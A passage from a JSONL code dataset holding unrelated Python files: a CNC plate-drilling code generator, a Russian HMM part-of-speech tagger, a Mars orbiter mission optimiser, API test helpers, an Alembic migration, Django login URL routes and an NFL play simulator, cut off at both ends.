(relevant only for SDSS targets)\n\n Returns\n -------\n text : str\n CNC code\n \"\"\"\n return(self.hole_text[holetype].format(cx=cx, cy=cy, cz=cz, czr=czr,\n objId=objId))\n\n def completion(self, plateId=None, axy=None):\n \"\"\"Create CNC code for plate completion\n\n Parameters\n ----------\n plateId : np.int32, int\n plate ID number\n axy : (np.float32, np.float32) tuple\n X and Y drill location of off-axis acquisition camera (mm)\n\n Returns\n -------\n text : str\n CNC code for completion\n \"\"\"\n plateId_str = \"{plateId:<6}\".format(plateId=plateId)\n completion_text = self.completion_text\n for digit in plateId_str:\n if(digit != \" \"):\n digit_int = digit\n digit_str = digit\n else:\n digit_int = \"99\"\n digit_str = \"BLANKSPACE\"\n repl = \"{digit_int:0>2} ({digit_str})\"\n repl = repl.format(digit_int=digit_int, digit_str=digit_str)\n completion_text = completion_text.replace(\"--\", repl, 1)\n\n if(self.mode == 'apogee_south'):\n acquisition_text = self.acquisition_header\n if((axy[0] is not None) &\n (axy[1] is not None)):\n ax = axy[0] / 25.4\n ay = axy[1] / 25.4\n offaxis_text = self.acquisition_offaxis_template.format(axy=(ax, ay))\n acquisition_text = acquisition_text + offaxis_text\n acquisition_text = acquisition_text + self.acquisition_center\n completion_text = completion_text.format(acquisition_text=acquisition_text)\n\n return(completion_text)\n\n def holediam(self, holetype=None, objId=None):\n \"\"\"Return hole diameter in mm\n\n Parameters\n ----------\n holetype : str\n type of hole\n objId : np.int32, int\n [5] array of object identifies (only relevant for SDSS objects)\n\n Returns\n -------\n diameter : np.float32\n hole diameter in mm\n \"\"\"\n if(holetype == 'QUALITY'):\n if(objId[2] == 0):\n return(3.175)\n else:\n return(2.16662)\n return(self.holediam_values[holetype])\n","sub_path":"python/platedesign/fanuc/gcodes.py","file_name":"gcodes.py","file_ext":"py","file_size_in_byte":9550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"433727607","text":"import xml.etree.ElementTree as ET\nfrom nltk.tag import hmm\nimport os\n\ndef parseXMLToList(pathtodir):\n filenames = os.listdir(pathtodir)\n tagged_sentences = []\n words_total = 0\n for filename in filenames:\n filename = pathtodir + \"/\" + filename\n e = ET.parse(filename).getroot()\n body = e.find('body')\n sentencesList = list(body.iter(\"S\"))\n #print(len(sentencesList))\n\n for sentence in sentencesList:\n wordsInSentence = list(sentence.iter(\"W\"))\n sentenceaslist = []\n for word in wordsInSentence:\n feat = word.attrib[\"FEAT\"]\n #feat_list = feat.split()\n #word_tagged = (word.text, feat_list[0])\n word_tagged = (word.text, feat)\n #print(word_tagged)\n words_total+=1\n sentenceaslist.append(word_tagged)\n sentenceaslist.append((['.', '.']))\n tagged_sentences.append(sentenceaslist)\n\n return (tagged_sentences, words_total)\n\n\nparseresult = parseXMLToList(\"./corpora\")\nsentences = parseresult[0]\nwords_num = str(parseresult[1])\nprint(\"Read \" + str(len(sentences)) + \" sentences including \" + words_num + \" words\")\n\n# Going to train Tagger\ntrainer = hmm.HiddenMarkovModelTrainer()\ntagger = trainer.train(sentences)\n\nprint(tagger.tag(\"он крикнул в окружение дико захохотав .\".split()))\nprint(tagger.tag(\"еще ребенком я любил смотреть на звёзды .\".split()))\nprint(tagger.tag(\"Лидер Жириновский крикнул в окружение дико захохотав .\".split()))\nprint(tagger.tag(\"вторая мировая война началась стабильным уютным разрушением .\".split()))\nprint(tagger.tag(\"кто сидел на моем стуле и сломал его .\".split()))\nprint(tagger.tag(\"кто из нас ровесники кто герой кто чмо .\".split()))\nprint(tagger.tag(\"капитан колесников пишет нам письмо .\".split()))\nprint(tagger.tag(\"пластмассовый мир победил ликует картонный набат .\".split()))","sub_path":"HMM_ext_tags.py","file_name":"HMM_ext_tags.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"170717362","text":"# Written by: Hamish Self\n# Student ID: 28772016\n# Date modified: 19/5/2019\n\n# Imports\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport Modules.const_conversions as c\nimport Modules.orbital as o\nimport Modules.numerics as n\n\n\"\"\"\nDescription: MISSION ONE\n------------------------\nFor your first mission, you will conduct remote sensing of the Martian surface from orbit.\nThe sensing suite available to you has sufficient resolution to obtain useful data as long as you are within 800km of\nthe Martian surface.\n\nIn addition to the 10% of total mass devoted to structure, your orbiter must dedicate 4500kg of its available mass to\nthermal management, power supply and communications equipment. The remaining mass (not dedicated to structure, fuel,\nor the aforementioned functions) is available for your scientific payload, i.e. the remote sensing apparatus.\n\nFor every hour that your orbiter is within 800km of the Martian surface, each kilogram of remote sensing equipment\nyou place on your orbiter will produce 0.01 units of SCIENCE™.\n\nThis SCIENCE™ will be transmitted back to Earth remotely; the orbiter is not expected to ever leave Martian orbit.\n\nConstraints:\n------------\nYour point of closest approach to Mars may not be less than 100km above the surface. Below this point your\naerodynamicists believe that the drag from the Martian atmosphere will result in rapid orbital decay.\n\nYour mission ends exactly two years after departure from Earth.\nThe engines available to you for this mission have I_sp = 316s.\n\nTask:\n------\n1) Given these mission parameters and these constraints, determine a mission architecture that produces the maximum\n amount of SCIENCE™.\n2) How much SCIENCE™ will your mission produce?\n\"\"\"\n\ndef get_science_mass(mass_fuel):\n # returns the mass available on the spacecraft with mass_fuel taken by fuel\n m_available = m_total - (m_structure + m_systems + mass_fuel)\n if m_available <= 0: # no science mass when mission is infeasible\n return 0\n else:\n return m_available\n\n\ndef get_theta_exit(orbit, r_max = 4189500):\n # from the orbit eqn, r = r_max = p/(1 + e * cos(theta_exit))\n # theta_exit = arccos( 1/e * (p/r_max - 1) )\n p, e = orbit.semilatus_rectum, orbit.eccentricity\n theta_exit = np.arccos( 1/e * (p/r_max - 1) )\n return theta_exit\n\n\ndef get_orbit_science_time(orbit, r_max = 4189500):\n # finds the time on orbit spent under r_max (in metres from centre of central\n # body), PER ORBIT.\n # TODO: FIX TO INCORPORATE MINIMUM RADIUS, r_min (under which orbital decay occurs)\n # theta_exit is the first true anomaly where r >= r_max (exiting the science zone)\n # theta_enter is the second true anomaly, theta_enter = 2 * pi - theta_exit\n # (when we reenter the science zone)\n r_a, r_p = orbit.radius_apoapsis, orbit.radius_periapsis\n\n # If the entire orbit is outside the science zone, no time is spent earning points\n if r_a > r_max and r_p > r_max:\n return 0.\n\n # If the entire orbit is within the science zone, the time spent inside is the\n # orbital period\n\n # TODO: WORK OUT IF THIS SHOULD BE < OR <= ??\n elif r_a <= r_max and r_p <= r_max:\n return orbit.period()\n\n # If it's neither of these cases, then part of the orbit will be inside the\n # science zone, and part will be outside. We need to solve for the time inside.\n else:\n theta_exit = get_theta_exit(orbit, r_max)\n\n # get the time since periapsis corresponding to a true anomaly of theta_exit\n t_p = orbit.time_since_periapsis(theta_exit)\n\n # time in science zone = 2 * t_p, by symmetry of the orbit\n return 2 * t_p\n\n\ndef get_science_time(time_available, orbit):\n # Computes the total science time accrued on an orbit in the time_available.\n # Assumes the spacecraft begins counting its science time at periapsis in its orbit.\n\n # compute the number of available full orbits in the time\n n_full_orbits = time_available // orbit.period()\n\n # compute the science time gained in those full orbits\n science_time_per_orbit = get_orbit_science_time(orbit)\n if science_time_per_orbit == orbit.period(): # if the whole orbit earns science\n return time_available\n t_sci = n_full_orbits * science_time_per_orbit\n\n # compute the leftover time after those n full orbits\n # by definition, time available < orbital period\n time_elapsed = n_full_orbits * orbit.period()\n time_available -= time_elapsed\n\n # there are 2 sections of science time in a general elliptical orbit, with\n # r_p < r_max and r_a > r_max (both r_a and r_p are > r_min).\n # The first second is immediately after perigee (theta = 0 up to theta = theta_exit),\n # the second is before perigee (theta = theta_enter to theta = 0). We need to\n # determine whether we will be in science range for either of these sections,\n # or parts thereof.\n\n # time up to theta_exit from perigee is half of science_time_per_orbit\n t_p_to_theta_exit = 0.5 * science_time_per_orbit\n # time of theta_enter in the orbit (by symmetry) is:\n t_theta_enter = orbit.period() - t_p_to_theta_exit\n\n # work out how much of the orbit t_available will cover:\n if time_available < t_p_to_theta_exit:\n t_sci += time_available\n elif time_available < t_theta_enter:\n t_sci += t_p_to_theta_exit\n else:\n t_sci += t_p_to_theta_exit + (t_theta_enter - time_available)\n return t_sci\n\n\ndef get_science_score(science_mass, science_time):\n # THIS WILL BE OUR OBJECTIVE FUNCTION TO MAXIMISE\n # gets the total science points accomplished by having science_mass (kg) of\n # science equipment in the appropriate orbit for science_time (seconds)\n\n # convert science_time to hours\n science_time = c.convert_time(('seconds', 'hours'), science_time)\n # calculate the science score\n score = SCIENCE_PER_KG_HOUR * science_mass * science_time\n return score\n\n\ndef perform_mission(z_a, z_p):\n # z_a and z_p are capture orbit altitudes above Mars, metres\n # set up the final capture orbit around Mars\n r_M = mars.radius\n r_capt_a, r_capt_p = r_M + z_a, r_M + z_p\n capture_orbit = o.Orbit(central_body = mars, r_apoapsis = r_capt_a, r_periapsis = r_capt_p)\n\n print('Capture Orbit:')\n print(capture_orbit, '\\n')\n\n period_hrs = c.convert_time(('seconds', 'hours'), capture_orbit.period())\n print(f'Orbital period: {round(period_hrs, 3)}hrs')\n\n # calculate transfer time from Earth to Mars, and subtract from available time\n t_transfer = o.get_Hohmann_time(orbit_initial = Earth_orbit, orbit_final = Mars_orbit)\n t_transfer_days = c.convert_time(('seconds', 'days'), t_transfer)\n print(f'Transfer time: {round(t_transfer_days, 2)} days')\n\n # calculate patching delta V's at Earth and Mars\n dV_departure = o.get_patch_deltaV(V_inf = dV_D, target_orbit = parking_orbit)\n dV_arrival = o.get_patch_deltaV(V_inf = dV_A, target_orbit = capture_orbit)\n dV_mission_total = dV_departure + dV_arrival\n print(f'Patching dV\\'s: leave: {round(dV_departure, 2)}m/s, arrive: {round(dV_arrival, 2)}m/s, total delta V: {round(dV_mission_total, 2)}m/s')\n\n # calculate fuel required for this total delta V, and then determine\n # available mass for science payload\n fuel_fraction = o.get_mass_fraction(delta_V = dV_mission_total, I_sp = I_sp)\n print(f'Fuel fraction: {round(fuel_fraction, 4)}')\n m_fuel = fuel_fraction * m_total # kg\n\n # TODO: FIX FOR WHEN MASS REQUIRED IS GREATER THAN MASS AVAILABLE\n # I.E. WHEN SCIENCE MASS GOES NEGATIVE\n\n m_science = get_science_mass(mass_fuel = m_fuel)\n print(f'Science mass: {round(m_science, 3)}kg')\n\n # determine the total 'science time'\n t_available = t_max - t_transfer\n t_science = get_science_time(time_available = t_available, orbit = capture_orbit)\n t_sci_hrs = c.convert_time(('seconds', 'hours'), t_science)\n print(f'Total time in science zone: {round(t_sci_hrs, 2)}hrs')\n\n # determine the science score for the orbital trajectory\n science_score = get_science_score(science_mass = m_science, science_time = t_science)\n\n # return the science score for this version of the mission\n # will be used to update initial orbital values and repeat procedure\n return science_score\n\n\n\n\n# RUN MISSION ONE\nif __name__ == '__main__':\n # OPTIMISATION PROBLEM: INFO\n # ==========================================================================\n # Need to choose apogee altitude to arrive at Mars, and balance this against\n # the time spent in Mars' orbit\n\n # Calculate the delta V for the most efficient possible transfer to Mars\n # and corresponding mass loss. Start from 300km altitude circular orbit above Earth.\n # PARAMETER HERE: APOAPSIS ABOVE MARS (apoapsis altitude >100km)\n # NOTE: Not all of the orbit has to be in the altitude limits\n # NOTE: DO WE NEED TO CONSIDER SPHERES OF INFLUENCE???\n\n # Calculate the delta V for Mars insertion and mass loss\n # PARAMETER HERE: PERIAPSIS ABOVE MARS (800km > periapsis altitude > 100km)\n\n\n\n # PROBLEM SETUP:\n # ==========================================================================\n I_sp = 316 # s\n m_total = c.M_SPACECRAFT\n SCIENCE_PER_KG_HOUR = 0.01 # 0.01 units of science per kg per hour spent under 800km alt. from Mars\n\n # define constraints\n m_structure = 0.10 * m_total # kg\n m_systems = 4500 # kg\n z_min_mars = 100 # km - minimum orbit radius\n t_max = c.convert_time(('years', 'seconds'), 2.0) # 2 years in seconds\n\n sun = c.get_properties('Sun')\n\n # set up orbits for Earth and Mars around the Sun\n earth = c.get_properties('Earth')\n a_E = earth.semimajor_axis\n Earth_orbit = o.Orbit(central_body = sun, r_apoapsis = a_E, r_periapsis = a_E)\n\n mars = c.get_properties('Mars')\n r_M = mars.radius\n a_M = mars.semimajor_axis\n Mars_orbit = o.Orbit(central_body = sun, r_apoapsis = a_M, r_periapsis = a_M)\n\n # set up the inital parking orbit around Earth\n r_park = earth.radius + 300e3\n parking_orbit = o.Orbit(central_body = earth, r_apoapsis = r_park, r_periapsis = r_park)\n\n # calculate interplanetary transfer delta V's on the way to Mars - acts as\n # hyperbolic orbits' boundary conditions (through the V infinities)\n dV_D, dV_A = o.get_Hohmann_deltaV(Earth_orbit, Mars_orbit)\n\n print('Interplanetary Stage:')\n print(f'V infinities: departure: {round(dV_D, 2)}m/s, arrival: {round(dV_A, 2)}m/s\\n')\n\n\n\n\n # OPTIMISATION ALGORITHM: STEPS & SOLUTION\n # ==========================================================================\n r_SOI_mars = o.get_SOI_radius('Mars')\n print(f'Mars\\' r_SOI: {round(r_SOI_mars, 2)}m')\n alt_SOI = r_SOI_mars - mars.radius\n\n \"\"\"100km will be most efficient bc will keep us in the science zone longest and so will\n maximise the total science. since we don't have to consider the radii in the interplanetary transfers,\n we can select this without impact\n\n WHAT ABOUT HIGHER RETROGRADE DELTA V CLOSE TO THE SURFACE\n \"\"\"\n\n # PRELIMINARY INVESTIGATION:\n # alt_p_range = np.arange(100e3, 900e3, 100e3)\n # for alt_periapsis in alt_p_range:\n # scores = []\n # alt_a_range = np.arange(alt_periapsis, alt_SOI, 10e3)\n # for alt_apoapsis in alt_a_range:\n # science_score = perform_mission(z_a = alt_apoapsis, z_p = alt_periapsis)\n # scores.append(science_score)\n # plt.plot(alt_a_range / 1e3, scores)\n\n # plt.title('Total Mission Score vs Apoapsis Altitude for Several Periapsis Positions')\n # plt.xlabel('Apoapsis altitude above Mars (km)')\n # plt.ylabel('Science score')\n # plt.legend(['z_p = 100km', 'z_p = 200km', 'z_p = 300km', 'z_p = 400km', 'z_p = 500km', 'z_p = 600km', 'z_p = 700km', 'z_p = 800km'])\n\n # plt.tight_layout()\n # plt.show()\n\n\n # # DETAILED INVESTIGATION FOR CURVES WITH Z_P FROM 100 to 200km\n # z_p_range = np.arange(100e3, 210e3, 10e3)\n # for alt_periapsis in z_p_range:\n # scores = []\n # alt_a_range = np.arange(alt_periapsis, alt_SOI, 10e3)\n # for alt_apoapsis in alt_a_range:\n # science_score = perform_mission(z_a = alt_apoapsis, z_p = alt_periapsis)\n # scores.append(science_score)\n # plt.plot(alt_a_range / 1e3, scores)\n # if alt_periapsis == 100e3:\n # max_score = max(scores)\n # max_alt_ind = scores.index(max_score)\n # max_alt = alt_a_range[max_alt_ind]\n # print(f'Maximum score: {round(max_score, 2)}, for z_p = 100km, and z_a = {round(max_alt/1e3, 2)}km')\n\n # plt.title('Total Mission Score vs Apoapsis Altitude for Several Periapsis Positions')\n # plt.xlabel('Apoapsis altitude above Mars (km)')\n # plt.ylabel('Science score')\n # plt.legend(['z_p = 100km', 'z_p = 110km', 'z_p = 120km', 'z_p = 130km', 'z_p = 140km', 'z_p = 160km', 'z_p = 170km', 'z_p = 180km', 'z_p = 190km', 'z_p = 200km'])\n\n # plt.tight_layout()\n # plt.show()\n\n\n # FINAL ORBIT INVESTIGATION\n z_p = 100e3 # m\n z_a = 6588e3 # m\n mission_score = perform_mission(z_a = z_a, z_p = z_p)\n print(f'Overall mission score: {round(mission_score, 3)} points')\n","sub_path":"mission_one.py","file_name":"mission_one.py","file_ext":"py","file_size_in_byte":13343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"486809166","text":"import re\nimport six\n\n\ninteger = \"int\"\nfloating = \"float\"\nstring = \"str\"\nboolean = \"bool\"\ndictionary = \"dict\"\nlist_field = \"list\"\n\n\ndef verify_time_format(time_string):\n # 2019-11-20T13:20:29.618350-05:00\n r = re.compile('.{4}-.{2}-.{2}T.{2}:.{2}:.{2}..{6}-.{2}:.{2}')\n assert r.match(time_string), \"Started date: \" + time_string + \" - does not match expected the format\"\n\n\ndef check_url(entry, env, field, api):\n assert field in entry, field + \" not Found\"\n assert entry[field] is not None, \"Entry does NOT contain url\"\n check_string_formatting(entry[field], 'https://api-' + env + api)\n\n\ndef check_string_formatting(in_string, s_format):\n # format example: '.{4}-.{2}-.{2}T.{2}:.{2}:.{2}..{6}' = 2019-09-11T20:52:35.721929\n # 'https://api-.*.d1g1tdev.com/api/v1/grouping-criteria/.*/' = https://api-hotfix.d1g1tdev.com/api/v1/grouping-criteria/44/\n r = re.compile(s_format)\n if len(in_string) != 0:\n assert r.match(in_string), \"String: \" + in_string + \" - Does not follow Format: \" + s_format\n else:\n assert len(in_string) != 0 or \"\", \"String is empty\"\n\n\ndef verify_templates(results, env):\n assert len(results) != 0, \"Response results are empty!\"\n iteration = 0\n for result in results:\n print(\"Item # \" + str(iteration))\n iteration += 1\n # print(\" \" + str(result))\n\n check_url(result, env, \"url\", '.d1g1tdev.com/api/v1/reporting/templates/*/')\n check_field(result, \"name\")\n check_field(result, \"description\", string, True)\n check_field(result, \"period\", string, True)\n verify_time_format(result[\"created\"])\n verify_time_format(result[\"modified\"])\n\n # CAN BE EMPTY\n section_count = 0\n for sections in result[\"available_sections\"]:\n print(\"Section: \" + str(section_count))\n print(sections)\n check_url(sections, env, \"url\", \".d1g1tdev.com/api/v1/reporting/template-sections/*/\")\n check_field(sections, \"name\")\n check_field(sections, \"needed_calculations\", list_field, True)\n\n for sections in result[\"available_parameters\"]:\n check_url(sections, env, \"url\", \".d1g1tdev.com/api/v1/reporting/template-parameters/*/\")\n check_field(sections, \"name\")\n check_url(sections, env, \"template\", \".d1g1tdev.com/api/v1/reporting/templates/*/\")\n check_field(sections, \"value_type\")\n check_field(sections, \"is_required\", boolean)\n assert \"initial_value\" in sections, \"Initial value is not present in \" + str(sections) # Can be ANy value O_O\n check_field(sections, \"enum_values\", list_field, True)\n\n\ndef get_report_template(results):\n return results[0][\"url\"]\n\n\ndef verify_categories(categories):\n assert len(categories) != 0, \"Response Categories are empty!\"\n iteration = 0\n for entry in categories:\n print(\"Item # \" + str(iteration))\n iteration += 1\n print(\" \" + str(entry))\n assert \"value_type\" in entry, \"'Value_Type' is not present in the entry: \" + str(entry)\n assert len(entry[\"value_type\"]) != 0, \"'Value_Type' value is empty in the entry: \" + str(entry)\n\n assert \"id\" in entry, \"'id' in not present in the entry: \" + str(entry)\n assert len(entry[\"id\"]) != 0, \"'id' value is empty in the entry: \" + str(entry)\n\n assert \"name\" in entry, \"'name' in not present in the entry: \" + str(entry)\n assert len(entry[\"name\"]) != 0, \"'name' value is empty in the entry: \" + str(entry)\n\n if \"options\" in entry:\n assert type(entry[\"options\"]) == dict, \"'options' value is incorrect type in: \" + str(entry)\n if \"hidden\" in entry[\"options\"]:\n assert \"hidden\" in entry[\"options\"], \"'hidden' value is incorrect type in: \" + str(entry)\n assert type(entry[\"options\"][\"hidden\"]) == bool, \"'hidden' value is NOT boolean: \" + str(entry)\n elif \"delta\" in entry[\"options\"]:\n assert \"delta\" in entry[\"options\"], \"'delta' value is incorrect type in: \" + str(entry)\n assert type(entry[\"options\"][\"delta\"]) == bool, \"'delta' value is NOT boolean: \" + str(entry)\n\n\ndef verify_report_creation(results, env):\n assert len(results) != 0, \"Response results are empty!\"\n check_url(results, env, \"url\", \".d1g1tdev.com/api/v1/reporting/reports/r2-test_template/\")\n check_field(results, \"title\")\n assert results[\"title\"] == \"Test_Template\", \"title is not correct, recieved: \" + str(results[\"title\"])\n check_field(results, \"slug\")\n check_url(results, env, \"template\", \".d1g1tdev.com/api/v1/reporting/templates/r2-quarterly-report/\")\n assert \"primary_representative\" in results, \"Primary_representative not present in Results. \"\n # assert \"secondary_representative\" in results\n verify_time_format(results[\"created\"])\n verify_time_format(results[\"modified\"])\n for values in results[\"parameters_values\"]:\n check_url(values, env, \"url\", \".d1g1tdev.com/api/v1/reporting/report-parameters-values/*/\")\n check_url(values, env, \"parameter\", \".d1g1tdev.com/api/v1/reporting/template-parameters/*/\")\n assert \"value\" in values, \"value is not present in 'parameters_values'\"\n for sections in results[\"enabled_sections\"]:\n check_url(sections, env, \"url\", \".d1g1tdev.com/api/v1/reporting/report-templates-sections/*/\")\n check_url(sections, env, \"section\", \".d1g1tdev.com/api/v1/reporting/template-sections/*/\")\n check_field(sections, \"order\", integer)\n for entries in results[\"selected_entities\"]:\n pass\n for copy in results[\"copies\"]:\n check_field(copy, \"is_primary_recipient\", boolean)\n # if \"secondry recipient in\"\n check_field(copy, \"attention\")\n\n\ndef check_field(entry, field, field_type=string, can_be_empty=False):\n assert field in entry, field + \" not Found in: \" + str(entry)\n if field_type == integer:\n assert type(entry[field]) == int, field + \" is NOT INT\"\n if can_be_empty:\n pass\n else:\n assert entry[field] is not None, field + \"in Entry is missing for Entry:\" + str(entry)\n elif field_type == boolean:\n assert type(entry[field]) == bool, field + \" is NOT BOOLEAN\"\n if can_be_empty:\n pass\n else:\n assert entry[\n field] is not None, field + \"in Entry is missing for Entry:\" + str(entry)\n elif field_type == string:\n print(type(entry[field]))\n assert isinstance(entry[field], six.string_types), field + \" is NOT STR\"\n if can_be_empty:\n pass\n else:\n assert entry[field] is not None, field + \"in Entry is missing for Entry:\" + str(entry)\n elif field_type == dictionary:\n assert type(entry[field]) == dict, field + \" is NOT DICTIONARY\"\n elif field_type == floating:\n assert type(entry[field]) == float, field + \" is NOT Float\"\n if can_be_empty:\n pass\n else:\n assert entry[field] is not None, field + \"in Entry is missing for Entry:\" + str(entry)\n else:\n pass\n","sub_path":"d1g1t_api/Resources/Documents/new_report_helper.py","file_name":"new_report_helper.py","file_ext":"py","file_size_in_byte":7112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"206437537","text":"\"\"\"create table topic\n\nRevision ID: f22342161853\nRevises: a3315cf6595d\nCreate Date: 2017-10-04 14:20:49.948136\n\n\"\"\"\nimport os\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\nschema_name = os.getenv('SCHEMA_NAME')\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f22342161853'\ndown_revision = 'a3315cf6595d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table(\n 'topic',\n sa.Column('_id', sa.Text, nullable=False, unique=True),\n sa.Column('_database_id', sa.Text, nullable=False),\n sa.Column('_owner_id', sa.Text, nullable=False),\n sa.Column('_access', sa.dialects.postgresql.JSONB),\n sa.Column('_created_by', sa.Text),\n sa.Column('_created_at', sa.DateTime, nullable=False),\n sa.Column('_updated_by', sa.Text),\n sa.Column('_updated_at', sa.DateTime, nullable=False),\n sa.Column('name', sa.Text, nullable=False),\n sa.Column('image_id', sa.Text),\n sa.PrimaryKeyConstraint('_id', '_database_id', '_owner_id'),\n sa.ForeignKeyConstraint(['image_id'], ['%s._asset.id' % schema_name]),\n schema=schema_name\n )\n\n op.execute(\n \"\"\"\n CREATE TRIGGER trigger_notify_record_change\n AFTER INSERT OR UPDATE OR DELETE\n ON %s.topic\n FOR EACH ROW\n EXECUTE PROCEDURE public.notify_record_change();\n \"\"\" % schema_name\n )\n\n\ndef downgrade():\n op.drop_table('topic', schema=schema_name)\n","sub_path":"alembic/versions/f22342161853_create_table_topic.py","file_name":"f22342161853_create_table_topic.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"128354850","text":"from whoosh import index\n\nimport matplotlib.pyplot as plt, mpld3\n\nplt.plot([3,1,4,1,5], 'ks-', mec='w', mew=5, ms=20)\nmpld3.show()\n\ndef index_stats(path_to_index):\n ix = index.open_dir(path_to_index)\n fields = ix.schema.names()\n with ix.searcher() as searcher:\n # Not including deleted documents\n numdocs = searcher.doc_count()\n\n\n","sub_path":"final_project/display_results.py","file_name":"display_results.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231846951","text":"# Import our sequence module\nimport mathematics as cmath\n\n# Getting help function\ncmath.help()\n\n# Using our sequences module\nprint(cmath.sequence.fibonacci(10))\nprint(cmath.sequence.tribonacci(10))\nprint(cmath.sequence.powers(total = 10, power = 3))\n\n# Creating a complex number\ncomplexNum = cmath.complex.ComplexClass(real = 5, imaginary = 20)\ncomplexNum.angle()\ncomplexAngle = complexNum.degree\nprint('%(complex)s has an angle of %(angle).2lf degrees' \n %{'complex': complexNum.itself(), 'angle': complexAngle})\n","sub_path":"Languages/Python/Basics/Importing/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"247787378","text":"\n\n#calss header\nclass _QUITS():\n\tdef __init__(self,): \n\t\tself.name = \"QUITS\"\n\t\tself.definitions = [u'to not owe money to someone or to each other now: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_quits.py","file_name":"_quits.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529418286","text":"from django.conf.urls import patterns, include, url\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns(\n '',\n url(r'^', include('art_blog.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^login/$', 'art_com.views.login', name='login'),\n url(r'^auth_user/$', 'art_com.views.auth_user', name='auth_user'),\n url(r'^loggedin/$', 'art_com.views.loggedin', name='loggedin'),\n url(r'^logout/$', 'art_com.views.logout', name='logout'),\n url(r'^invalid/$', 'art_com.views.invalid', name='invalid'),\n url(r'^register_user/$', 'art_com.views.register_user',\n name='register_user'),\n url(r'^register_success/$', 'art_com.views.register_success',\n name='register_success'),\n)\n","sub_path":"art_com/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58320814","text":"import random\n\nclass NFLStrategy:\n def __init__(self, plays, prob):\n ''' Creates a game using the given list of possible outcomes\n and the given probability distribution of those outcomes.\n\n plays -- a list of lists of (yards-gained, ticks-elapsed, turnover)\n tuples indexed by offensive action then defensive action\n prob -- a probability distribution over the tuples in plays[o][d]\n '''\n self._plays = plays\n self._prob = prob\n\n\n def initial_position(self):\n ''' Returns the initial position in this game as a\n (yards-to-score, downs-left, distance, ticks) tuple.\n '''\n return (80, 4, 10, 24)\n\n\n def offensive_playbook_size(self):\n ''' Returns the number of offensive actions available in this game. '''\n return len(self._plays)\n\n\n def defensive_playbook_size(self):\n ''' Returns the number of defensive actions available in this game. '''\n return len(self._plays[0])\n \n \n def result(self, pos, offensive_play):\n ''' Returns the position that results from the given offensive play\n selection from the given position as a\n (field-position, downs-left, distance, ticks) tuple, and the outcome\n of that play as a (yards-gained, ticks-elapsed, turnover) tuple.\n\n pos -- a tuple (field_pos, downs_left, distance, time_in_ticks)\n offensive_play -- the index of an offensive play\n '''\n play_outcome = self._outcome(offensive_play, random.randrange(len(self._plays[0])))\n return self._update(pos, play_outcome), play_outcome\n\n \n def _update(self, pos, play_outcome):\n ''' Returns the position that results from the given position\n and the result of a play.\n\n pos -- a tuple (field_pos, downs_left, distance, time_in_ticks)\n play_outcome a tuple (yards-gained, ticks-elapsed, turnover)\n '''\n fieldPosition, downsLeft, distance, timeLeft = pos\n yardsGained, timeElapsed, turnover = play_outcome\n\n if turnover:\n return (fieldPosition, downsLeft, distance, 0)\n else:\n fieldPosition -= yardsGained\n distance -= yardsGained\n downsLeft -= 1\n timeLeft -= timeElapsed\n\n if timeLeft < 0:\n timeLeft = 0\n \n if fieldPosition > 99:\n # safety!\n return (99, 4, 10, 0)\n elif fieldPosition < 0:\n # touchdown!\n return (0, 4, 0, 0)\n\n if distance <= 0:\n # first down\n downsLeft = 4\n distance = min(10, fieldPosition)\n\n if downsLeft == 0:\n # turnover on downs\n return (fieldPosition, 4, distance, 0)\n\n return (fieldPosition, downsLeft, distance, timeLeft)\n\n \n def game_over(self, pos):\n ''' Determines if the given position represents a game-over position.\n \n pos -- a tuple (field_pos, down, distance, time)\n '''\n fieldPosition, downsLeft, distance, timeLeft = pos\n\n return fieldPosition == 0 or fieldPosition == 100 or downsLeft == 0 or timeLeft == 0\n\n\n def win(self, pos):\n ''' Determines if the given position represents a game-won position.\n \n pos -- a tuple (field_pos, down, distance, time)\n '''\n fieldPosition, downsLeft, distance, timeLeft = pos\n\n return fieldPosition == 0\n\n\n def _outcome(self, off_action, def_action):\n ''' Returns a randomly selected result for the given offensive\n and defensive actions.\n\n off_action -- the index of an offensive play\n def_action -- the index of an offensive play\n '''\n if off_action < 0 or off_action >= len(self._plays):\n raise ValueError(\"invalid offensive play index %d\" % off_action)\n if def_action < 0 or def_action >= len(self._plays[def_action]):\n raise ValueError(\"invalid defensive play index %d\" % def_action)\n\n r = random.random()\n cumulative = self._prob[0]\n i = 0\n while r > cumulative and i + 1 < len(self._prob):\n cumulative += self._prob[i + 1]\n i += 1\n return self._plays[off_action][def_action][i]\n\n \n def simulate(self, policy, n):\n ''' Simulates games using the given policy and returns the\n winning percentage for the policy.\n\n policy -- a function from game positions to offensive actions\n '''\n wins = 0\n play_count = 0\n for i in range(n):\n pos = self.initial_position()\n while not self.game_over(pos):\n play_count += 